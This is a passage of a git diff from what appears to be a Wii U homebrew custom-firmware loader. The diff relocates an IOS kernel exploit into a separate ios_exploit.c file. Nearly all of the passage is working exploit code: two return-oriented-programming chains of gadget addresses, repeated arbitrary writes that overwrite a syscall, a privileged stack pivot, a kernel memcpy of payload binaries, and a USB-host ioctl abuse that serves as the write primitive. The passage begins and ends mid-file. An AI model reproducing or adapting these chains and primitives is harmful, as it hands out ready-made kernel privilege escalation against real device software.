// 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x1AFFFFFD, // 0x150 value: BNE clean_loop + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A03004, // 0x184 value: MOV R3, R4 + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE8BD4010, // 0x184 value: POP {R4,LR} + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) + 0x0, // 0x1BC + 0x10123a8b, // 0x1C0 POP {R3,R4,PC} + 0x1, // 0x1C4 R3 must be 1 for the arbitrary write + 0x0, // 0x1C8 + 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x1D0 + 0x0, // 0x1D4 + 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 + 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches + 0x0, // 0x1E0 + 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) + 0x0, // 0x1DC + 0x0, // 0x1E0 + 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} + ARM_CODE_BASE, // 0x1E8 our code destination address + 0x0, // 0x1EC + 0x0, // 0x1F0 + 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} + 0x0, // 0x1F8 + sizeof(ios_kernel_bin), // 0x1FC our code size + 0x0, // 0x200 + 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} + 0x00140000, // 0x208 our code source location + 0x08131D04, // 0x20C KERNEL_MEMCPY address + 0x0, // 0x210 + 0x0, // 0x214 + 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) + 0x0, + 0x0, + 0x101312D0, +}; + +static const int second_chain[] = { + 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} + CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination + 0x0, // 0x08 + 0x0, // 0x0C + 0x101063db, // 0x10 POP {R1,R2,R5,PC} + 0x00130000, // 0x14 source + sizeof(final_chain), // 0x18 length + 0x0, // 0x1C + 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x101236f3, // 0x2C POP {R1-R7,PC} + 0x0, // 0x30 arg + 0x101001DC, // 0x34 stackptr + 0x68, // 0x38 stacksize + 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} + 0x0, // 0x40 + 0x0, // 0x44 + 0x0, // 0x48 + 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x50 + 0x0, // 0x54 + 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x5C + 0x0, // 0x60 + IOS_CREATETHREAD, // 0x64 + 0x1, // 0x68 priority + 0x2, // 0x6C flags + 0x0, // 0x70 + 0x0, // 0x74 + 0x101063db, // 0x78 POP {R1,R2,R5,PC} + 0x0, // 0x7C + -(0x240 + 0x18 + 0xF000), // 0x80 stack offset + 0x0, // 0x84 + 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} + 0x0, + 0x0, + 0x0, + 0x00110000 - 0x44, // 0x8C + 0x00110010, // 0x90 + 0x0, // 0x94 + 0x0, // 0x98 + 0x0, // 0x9C + 0x0, // 0xA0 + 0x0, // 0xA4 + 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack + 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} + 0x0, + 0x0, + 0x1012EA68, // 0xAC stack pivot +}; + +static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config) +{ + ayylmao[5] = 1; + ayylmao[8] = 0x500000; + + memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); + memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); + memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin)); + + payload_info_t *payloads = (payload_info_t*)0xF4148000; + + payloads->size = sizeof(cfw_config_t); + memcpy(payloads->data, config, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + payloads->size = sizeof(ios_usb_bin); + memcpy(payloads->data, ios_usb_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + if(config->redNAND) + { + payloads->size = sizeof(ios_fs_bin); + memcpy(payloads->data, ios_fs_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + if(config->seeprom_red) + { + payloads->size = sizeof(ios_bsp_bin); + memcpy(payloads->data, ios_bsp_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + } + + payloads->size = sizeof(ios_mcp_bin); + memcpy(payloads->data, ios_mcp_bin, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + + if(config->launchImage) + { + FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb"); + if(pFile) + { + fseek(pFile, 0, SEEK_END); + payloads->size = ftell(pFile); + fseek(pFile, 0, SEEK_SET); + fread(payloads->data, 1, payloads->size, pFile); + fclose(pFile); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + else + { + payloads->size = launch_image_tga_size; + memcpy(payloads->data, launch_image_tga, payloads->size); + payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); + } + } + + pretend_root_hub[33] = 0x500000; + pretend_root_hub[78] = 0; + + DCStoreRange(pretend_root_hub + 33, 200); + DCStoreRange((void*)0xF4120000, sizeof(second_chain)); + DCStoreRange((void*)0xF4130000, sizeof(final_chain)); + DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin)); + DCStoreRange((void*)0xF4148000, ((u32)payloads) - 0xF4148000); +} + +static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val) +{ + ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes + DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress) + OSSleepTicks(0x200000); //! Improves stability + int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1 + int output_buffer[32]; + return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); +} + +int ExecuteIOSExploit(cfw_config_t * config) +{ + int iosuhaxFd = IOS_Open("/dev/iosuhax", 0); + if(iosuhaxFd < 0) + { + //! execute exploit + int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); + if(dev_uhs_0_handle < 0) + return dev_uhs_0_handle; + + uhs_exploit_init(dev_uhs_0_handle, config); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); + uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE); + + uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} + + IOS_Close(dev_uhs_0_handle); + } + else + { + //! do not run patches again as that will most likely crash + //! because the wupserver and the iosuhax dev node are still running + //! just relaunch IOS with new configuration + IOS_Close(iosuhaxFd); + } + return 0; +} diff --git a/src/ios_exploit.h b/src/ios_exploit.h new file mode 100644 index 0000000..41e56d2 --- /dev/null +++ b/src/ios_exploit.h @@ -0,0 +1,16 @@ +#ifndef _IOS_EXPLOIT_H_ +#define _IOS_EXPLOIT_H_ + +#include "cfw_config.h" + +#ifdef __cplusplus +extern "C" { +#endif + +int ExecuteIOSExploit(cfw_config_t * config); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/src/main.c b/src/main.c index a71d859..95f7a56 100644 --- a/src/main.c +++ b/src/main.c @@ -19,297 +19,9 @@ #include "common/common.h" #include "menu.h" #include "main.h" +#include "ios_exploit.h" -#define ALIGN4(x) (((x) + 3) & ~3) - -#define CHAIN_START 0x1016AD40 -#define SHUTDOWN 0x1012EE4C -#define SIMPLE_RETURN 0x101014E4 -#define SOURCE (0x120000) -#define IOS_CREATETHREAD 0x1012EABC -#define ARM_CODE_BASE 0x08135000 -#define REPLACE_SYSCALL 0x081298BC - -extern const u8 launch_image_tga[]; -extern const u32 launch_image_tga_size; - -static void uhs_exploit_init(int uhs_handle, cfw_config_t * config); -static int uhs_write32(int uhs_handle, int arm_addr, int val); - -/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ -#include "../ios_kernel/ios_kernel.bin.h" -#include "../ios_usb/ios_usb.bin.h" -#include "../ios_fs/ios_fs.bin.h" -#include "../ios_bsp/ios_bsp.bin.h" -#include "../ios_mcp/ios_mcp.bin.h" - - -/* ROP CHAIN STARTS HERE (0x1015BD78) */ -static const int final_chain[] = { - 0x101236f3, // 0x00 POP {R1-R7,PC} - 0x0, // 0x04 arg - 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR - 0x68, // 0x0C stacksize - 0x10101638, // 0x10 - 0x0, // 0x14 - 0x0, // 0x18 - 0x0, // 0x1C - 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} - 0x0, // 0x24 - 0x0, // 0x28 - 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x30 - 0x0, // 0x34 - IOS_CREATETHREAD, // 0x38 - 0x1, // 0x3C - 0x2, // 0x40 - 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE92D4010, // 0x4C value: PUSH {R4,LR} - 0x0, // 0x50 - 0x10123a8b, // 0x54 POP {R3,R4,PC} - 0x1, // 0x58 R3 must be 1 for the arbitrary write - 0x0, // 0x5C - 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x64 - 0x0, // 0x68 - 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) - 0x0, // 0x70 - 0x0, // 0x74 - 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A04000, // 0x80 value: MOV R4, R0 - 0x0, // 0x84 - 0x10123a8b, // 0x88 POP {R3,R4,PC} - 0x1, // 0x8C R3 must be 1 for the arbitrary write - 0x0, // 0x90 - 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x98 - 0x0, // 0x9C - 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) - 0x0, // 0xA4 - 0x0, // 0xA8 - 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF - 0x0, // 0xB8 - 0x10123a8b, // 0xBC POP {R3,R4,PC} - 0x1, // 0xC0 R3 must be 1 for the arbitrary write - 0x0, // 0xC4 - 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0xCC - 0x0, // 0xD0 - 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) - 0x0, // 0xD8 - 0x0, // 0xDC - 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) - 0x0, // 0xEC - 0x10123a8b, // 0xF0 POP {R3,R4,PC} - 0x1, // 0xF4 R3 must be 1 for the arbitrary write - 0x0, // 0xF8 - 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x100 - 0x0, // 0x104 - 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) - 0x0, // 0x10C - 0x0, // 0x110 - 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A00004, // 0x11C value: MOV R0, R4 - 0x0, // 0x120 - 0x10123a8b, // 0x124 POP {R3,R4,PC} - 0x1, // 0x128 R3 must be 1 for the arbitrary write - 0x0, // 0x12C - 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x134 - 0x0, // 0x138 - 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) - 0x0, // 0x140 - 0x0, // 0x144 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0x00000000, // 0x150 value: NOP - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0x1AFFFFFD, // 0x150 value: BNE clean_loop - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A03004, // 0x184 value: MOV R3, R4 - 0x0, // 0x188 - 0x10123a8b, // 0x18C POP {R3,R4,PC} - 0x1, // 0x190 R3 must be 1 for the arbitrary write - 0x0, // 0x194 - 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x19C - 0x0, // 0x1A0 - 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) - 0x0, // 0x1A8 - 0x0, // 0x1AC - 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE8BD4010, // 0x184 value: POP {R4,LR} - 0x0, // 0x188 - 0x10123a8b, // 0x18C POP {R3,R4,PC} - 0x1, // 0x190 R3 must be 1 for the arbitrary write - 0x0, // 0x194 - 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x19C - 0x0, // 0x1A0 - 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) - 0x0, // 0x1A8 - 0x0, // 0x1AC - 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) - 0x0, // 0x1BC - 0x10123a8b, // 0x1C0 POP {R3,R4,PC} - 0x1, // 0x1C4 R3 must be 1 for the arbitrary write - 0x0, // 0x1C8 - 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x1D0 - 0x0, // 0x1D4 - 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) - 0x0, // 0x1DC - 0x0, // 0x1E0 - 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} - REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 - 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches - 0x0, // 0x1E0 - 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) - 0x0, // 0x1DC - 0x0, // 0x1E0 - 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} - ARM_CODE_BASE, // 0x1E8 our code destination address - 0x0, // 0x1EC - 0x0, // 0x1F0 - 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} - 0x0, // 0x1F8 - sizeof(ios_kernel_bin), // 0x1FC our code size - 0x0, // 0x200 - 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} - 0x00140000, // 0x208 our code source location - 0x08131D04, // 0x20C KERNEL_MEMCPY address - 0x0, // 0x210 - 0x0, // 0x214 - 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) - 0x0, - 0x0, - 0x101312D0, -}; - -static const int second_chain[] = { - 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} - CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination - 0x0, // 0x08 - 0x0, // 0x0C - 0x101063db, // 0x10 POP {R1,R2,R5,PC} - 0x00130000, // 0x14 source - sizeof(final_chain), // 0x18 length - 0x0, // 0x1C - 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} - 0x0, // 0x24 - 0x0, // 0x28 - 0x101236f3, // 0x2C POP {R1-R7,PC} - 0x0, // 0x30 arg - 0x101001DC, // 0x34 stackptr - 0x68, // 0x38 stacksize - 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} - 0x0, // 0x40 - 0x0, // 0x44 - 0x0, // 0x48 - 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} - 0x0, // 0x50 - 0x0, // 0x54 - 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x5C - 0x0, // 0x60 - IOS_CREATETHREAD, // 0x64 - 0x1, // 0x68 priority - 0x2, // 0x6C flags - 0x0, // 0x70 - 0x0, // 0x74 - 0x101063db, // 0x78 POP {R1,R2,R5,PC} - 0x0, // 0x7C - -(0x240 + 0x18 + 0xF000), // 0x80 stack offset - 0x0, // 0x84 - 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} - 0x0, - 0x0, - 0x0, - 0x00110000 - 0x44, // 0x8C - 0x00110010, // 0x90 - 0x0, // 0x94 - 0x0, // 0x98 - 0x0, // 0x9C - 0x0, // 0xA0 - 0x0, // 0xA4 - 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack - 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} - 0x0, - 0x0, - 0x1012EA68, // 0xAC stack pivot -}; +static int exitToHBLOnLaunch = 0; int Menu_Main(void) { @@ -317,8 +29,24 @@ int Menu_Main(void) InitOSFunctionPointers(); InitSysFunctionPointers(); InitFSFunctionPointers(); + InitSocketFunctionPointers(); InitVPadFunctionPointers(); + u64 currenTitleId = OSGetTitleID(); + + // in case we are not in mii maker or HBL channel but in system menu or another channel we need to exit here + if (currenTitleId != 0x000500101004A200 && // mii maker eur + currenTitleId != 0x000500101004A100 && // mii maker usa + currenTitleId != 0x000500101004A000 && // mii maker jpn + currenTitleId != 0x0005000013374842) // HBL channel + { + return EXIT_RELAUNCH_ON_LOAD; + } + else if(exitToHBLOnLaunch) + { + return 0; + } + VPADInit(); int forceMenu = 0; @@ -346,130 +74,29 @@ int Menu_Main(void) launch = ShowMenu(&config); } - if(!launch) - { - unmount_sd_fat("sd"); - return 0; - } + int returnCode = 0; - int iosuhaxFd = IOS_Open("/dev/iosuhax", 0); - if(iosuhaxFd < 0) + if(launch) { - //! execute exploit - int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); - if(dev_uhs_0_handle < 0) + int res = ExecuteIOSExploit(&config); + if(res == 0) { - unmount_sd_fat("sd"); - return 0; + if(config.noIosReload == 0) + { + OSForceFullRelaunch(); + SYSLaunchMenu(); + returnCode = EXIT_RELAUNCH_ON_LOAD; + } + else if(config.launchSysMenu) + { + SYSLaunchMenu(); + exitToHBLOnLaunch = 1; + returnCode = EXIT_RELAUNCH_ON_LOAD; + } } - - uhs_exploit_init(dev_uhs_0_handle, &config); - uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); - uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); - uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE); - - uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} - - IOS_Close(dev_uhs_0_handle); - } - else - { - //! do not run patches again as that will most likely crash - //! because the wupserver and the iosuhax dev node are still running - //! just relaunch IOS with new configuration - IOS_Close(iosuhaxFd); } unmount_sd_fat("sd"); - OSForceFullRelaunch(); - SYSLaunchMenu(); - return EXIT_RELAUNCH_ON_LOAD; -} - -//!------Variables used in exploit------ -static int *pretend_root_hub = (int*)0xF5003ABC; -static int *ayylmao = (int*)0xF4500000; -//!------------------------------------- - -typedef struct -{ - u32 size; - u8 data[0]; -} payload_info_t; - -static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config) -{ - ayylmao[5] = 1; - ayylmao[8] = 0x500000; - - memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain)); - memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain)); - memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin)); - - payload_info_t *payloads = (payload_info_t*)0xF4148000; - - payloads->size = sizeof(cfw_config_t); - memcpy(payloads->data, config, payloads->size); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - - payloads->size = sizeof(ios_usb_bin); - memcpy(payloads->data, ios_usb_bin, payloads->size); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - - if(config->redNAND) - { - payloads->size = sizeof(ios_fs_bin); - memcpy(payloads->data, ios_fs_bin, payloads->size); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - - if(config->seeprom_red) - { - payloads->size = sizeof(ios_bsp_bin); - memcpy(payloads->data, ios_bsp_bin, payloads->size); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - } - } - - payloads->size = sizeof(ios_mcp_bin); - memcpy(payloads->data, ios_mcp_bin, payloads->size); - payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); - - if(config->launchImage) - { - FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb"); - if(pFile) - { - fseek(pFile, 0, SEEK_END); - payloads->size = ftell(pFile); - fseek(pFile, 0, SEEK_SET); - fread(payloads->data, 1, payloads->size, pFile); - fclose(pFile); - payloads = (payload_info_t*)( 